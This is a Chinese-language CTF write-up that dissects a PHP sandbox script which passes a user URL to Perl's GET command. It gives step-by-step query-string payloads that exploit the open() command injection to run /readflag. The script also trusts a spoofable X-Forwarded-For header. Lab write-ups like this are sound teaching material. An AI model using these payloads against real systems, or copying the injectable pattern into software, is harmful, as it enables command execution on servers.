源码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
函数学习:
explode() 把字符串打散为数组
mkdir() 创建目录
chdir() 切换目录basename() 函数返回路径中的文件名部分
pathinfo() 函数以数组的形式返回关于文件路径的信息。
返回的数组元素如下:
[dirname]: 目录路径
[basename]: 文件名
[extension]: 文件后缀名
[filename]: 不包含后缀的文件名
代码分析:
- 输出当前页面用户的ip
- 构建md5处理过的目录,切换到当前目录
- 执行GET拼接shell命令,内容可控
- 将可控内容写入到可控文件中
一开始以为是escapeshellarg,但其实是
perl get 命令执行漏洞
思路:
调用命令GET来执行从url获取的参数, 然后按照filename新建文件,写入GET的结果。
知识点:
bash -c “cmd string” 命令
perl脚本GET open命令漏洞
GET是Lib for WWW in Perl中的命令
目的是模拟http的GET请求,GET函数底层就是调用了open处理
open存在命令执行,并且还支持file函数
- 先创123文件查看根目录
创建
poc1
?url=/&filename=123
poc2
?url=file:///filename=123
访问
url/sandbox/MD5(orange+ip)/123
发现flag和readflag,读了发现flag不可见,readflag是执行文件,那么思路就很清晰了
- 运行readflag文件读取flag
首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件:
?url=&filename=bash -c /readflag| 先新建一个名为“bash -c /readflag|”的文件,用于之后的命令执行
?url=file:bash -c /readflag|&filename=111 再利用GET执行bash -c /readflag保存到111文件
访问
url/sandbox/MD5(orange+ip)/111
深层次学习perl:
https://www.jianshu.com/p/3f82685f56a8